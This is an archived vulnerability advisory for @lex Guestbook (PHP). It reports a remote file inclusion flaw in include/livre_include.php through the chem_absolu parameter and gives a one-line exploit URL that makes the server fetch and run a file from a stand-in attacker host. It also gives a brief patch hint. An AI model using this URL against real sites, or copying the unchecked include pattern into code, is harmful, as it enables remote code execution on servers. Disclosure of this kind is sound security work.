Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Guestbooks :: hack2840.htm

@lex Guestbook (PHP) Include file



@lex Guestbook (PHP) Include file



Informations : 

같같같같같같같 

Website : http://www.alexphpteam.com 

Version : all

Problem : Include file 







PHP Code/Location : 

같같같같같같같같같 

./include/livre_include.php



------------------------------------------------------------------ 

if (!$no_connect).... some include() functions

------------------------------------------------------------------ 



Exploit : 

같같같같 

http://[target]/include/livre_include.php?no_connect=lol&chem_absolu =http://[attacker]/file.ext%3f 





Patch : 

같같같 

You must to fix the variable $chem_absolu.





Nourredine Himeur aka LostNoobs



"I'm looking for a job in France"

you can see my curriculum vitae 

on www.security-challenge.com/delires/ 



#s-c on irc.fr.worldnet.net

www.security-challenge.com 

www.hacklink.net 

www.opensavoir.com 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH